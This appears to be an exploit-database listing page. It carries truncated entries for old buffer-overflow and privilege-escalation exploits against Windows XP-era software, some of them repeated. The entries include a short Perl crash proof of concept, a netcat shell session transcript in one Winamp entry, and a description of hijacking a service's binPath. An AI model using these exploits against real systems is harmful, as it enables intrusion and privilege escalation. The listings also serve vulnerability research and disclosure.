Digital Amp MP3 3.1 - .mp3 Local Crash (PoC)

Digital Amp MP3 3.1 - .mp3 Local Crash PoC !/usr/bin/perl H0m3 : S3curity-art.com M4!l: [email protected] T3st3d on: Windows XP SP3 print "Tic-Tac"; my $boom="\x41" x 1500; my $filename = "B000M.mp3"; open FILE,"$filename"; print FILE "$boom"; print "\nFile successfully created!\n";...

Qihoo 360 Security Guard breg device drivers Privilege Escalation

Exploit for unknown platform in category local exploits =============================================================================== Qihoo 360 Security Guard breg device drivers Privilege Escalation Vulnerability =============================================================================== /...

CoreFTP v2.1 b1637 (password field) Universal BOF Exploit

Exploit for unknown platform in category local exploits ========================================================= CoreFTP v2.1 b1637 password field Universal BOF Exploit ========================================================= !/usr/bin/python Vulnerability : CoreFTP v2.1 b1637 password field...

Qihoo 360 Security Guard 6.1.5.1009 - breg device drivers Privilege Escalation

Qihoo 360 Security Guard 6.1.5.1009 - breg device drivers Privilege Escalation / Software Link: http://sd.360.cn/sddownload1.html?src=360home Version: 6.1.5.1009 Tested on: Windows xp Vendor : Qihoo 360 Affected Software : 360 Security Guard 6.1.5.1009 Description: Qihoo 360 Security Guard is ver...

CoreFTP 2.1 b1637 - Password field Universal Buffer Overflow

CoreFTP 2.1 b1637 - Password field Universal Buffer Overflow !/usr/bin/python Vulnerability : CoreFTP v2.1 b1637 password field Universal BOF exploit Found by : mrme seeleymagic at hotmail dot com Coded by : mrme & corelanc0d3r Download from : http://www.coreftp.com/download.html Tested on : XP S...

Vermillion FTP Deamon v1.31 Remote BOF Exploit

No description provided by source. Exploit Title: Vermillion FTP Deamon Remote BOF Exploit Date: 29/01/2010 Author: Dzattacker Software Link: http://www.softsea.com/download/Vermillion-FTP-Daemon.html Version: 1.31 Tested on: Windows xp sp3 Code : !/usr/bin/python + Original :...

Digital Amp MP3 3.1 - '.mp3' Local Crash (PoC)

!/usr/bin/perl H0m3 : S3curity-art.com M4!l: [email protected] T3st3d on: Windows XP SP3 print "Tic-Tac"; my $boom="\x41" x 1500; my $filename = "B000M.mp3"; open FILE,"$filename"; print FILE "$boom"; print "\nFile successfully created!\n";...

Qihoo 360 Security Guard 6.1.5.1009 - breg device drivers Privilege Escalation

/ Software Link: http://sd.360.cn/sddownload1.html?src=360home Version: 6.1.5.1009 Tested on: Windows xp Vendor : Qihoo 360 Affected Software : 360 Security Guard 6.1.5.1009 Description: Qihoo 360 Security Guard is very famous in China. Some vulnerabilities have been reported in Qihoo 360 Securit...

Vermillion FTP Deamon 1.31 - Remote Buffer Overflow

Vermillion FTP Deamon 1.31 - Remote Buffer Overflow Exploit Title: Vermillion FTP Deamon Remote BOF Exploit Date: 29/01/2010 Author: Dzattacker Software Link: http://www.softsea.com/download/Vermillion-FTP-Daemon.html Version: 1.31 Tested on: Windows xp sp3 Code : !/usr/bin/python + Original :...

Vermillion FTP Deamon Remote BOF Exploit

Exploit for unknown platform in category remote exploits ======================================== Vermillion FTP Deamon Remote BOF Exploit ======================================== Exploit Title: Vermillion FTP Deamon Remote BOF Exploit Date: 29/01/2010 Author: Dzattacker Software Link:...

Vermillion FTP Deamon 1.31 - Remote Buffer Overflow

Exploit Title: Vermillion FTP Deamon Remote BOF Exploit Date: 29/01/2010 Author: Dzattacker Software Link: http://www.softsea.com/download/Vermillion-FTP-Daemon.html Version: 1.31 Tested on: Windows xp sp3 Code : !/usr/bin/python + Original :...

WebDrive缺少安全描述符本地权限提升漏洞

BUGTRAQ ID: 37955 CVE ID: CVE-2009-4606 WebDrive是Windows化的文件传输软件，可将FTP服务器设置为硬盘盘符。 WebDrive所安装的WebDrive服务没有设置安全描述符，本地用户可以通过stop命令终止服务、使用config命令修改binPath变量并执行任意命令，或通过start命令重启服务。 South River Technologies WebDrive 9.02 厂商补丁： South River Technologies ------------------------...

MySQL yaSSL CertDecoder::GetName Buffer Overflow

This module exploits a stack buffer overflow in the yaSSL 1.9.8 and earlier implementation bundled with MySQL. By sending a specially crafted client certificate, an attacker can execute arbitrary code. This vulnerability is present within the CertDecoder::GetName function inside...

Another to bypass the firewall method-vulnerability warning-the black bar safety net

Using the Http channel software can break through the firewall restrictions, the use of only Http access permissions access to other Internet applications. So what is the channel? Here the so-called channel refers to a method to bypass the firewall port shield means of communication. The firewall...

South River Technologies WebDrive Service Bad Security Descriptor Local Privilege Escalation

South River Technologies WebDrive Service Bad Security Descriptor Local Privilege Escalation. This module exploits a privilege escalation vulnerability in South River Technologies WebDrive. Due to an empty security descriptor, a local attacker can gain elevated privileges. Tested on South River...

Winamp v5.572 whatsnew.txt Stack Overflow Exploit

No description provided by source. view source print? Tested on: Windows xp sp3 Code : !/usr/bin/perl Winamp v5.572 whatsnew.txt Stack Overflow Exploit Original : http://www.exploit-db.com/exploits/11248 Exploit by : Dzattacker [email protected] win32exec - EXITFUNC=process CMD=calc my...

Winamp 5.572 - Local Overflow (SEH)

Winamp 5.572 - Local Overflow SEH !/usr/bin/python Exploit Title: Winamp tecr0c@backtrack:/exploits/winamp$ nc -v 192.168.2.24 4444 192.168.2.24: inverse host lookup failed: Unknown server error : Connection timed out UNKNOWN 192.168.2.24 4444 ? open Microsoft Windows XP Version 5.1.2600 C...

South River Technologies WebDrive Service 9.02 build 2232 - Bad Security Descriptor Privilege Escalation

South River Technologies WebDrive Service Bad Security Descriptor Local Privilege Escalation. This module exploits a privilege escalation vulnerability in South River Technologies WebDrive. Due to an empty security descriptor, a local attacker can gain elevated privileges. Tested on South River...

AIC Audio Player 1.4.1.587 Local Crash PoC

Exploit for unknown platform in category local exploits ========================================== AIC Audio Player 1.4.1.587 Local Crash PoC ========================================== !/usr/bin/python Title: AIC Audio Player 1.4.1.587 Local Crash PoC Author: b0telh0 Link:...

AOL 9.5 Phobos.Playlist Import() Stack-based Buffer Overflow

aolphobosbof.rb AOL 9.5 Phobos.Playlist 'Import' Stack-based Buffer Overflow exploit for the Metasploit Framework Tested successfully on the following platforms: - AOL 9.5 Revision 4337.155 on Internet Explorer 7, Windows XP SP3 Phobos.dll version tested: File Version: 9.5.0.1 ClassID:...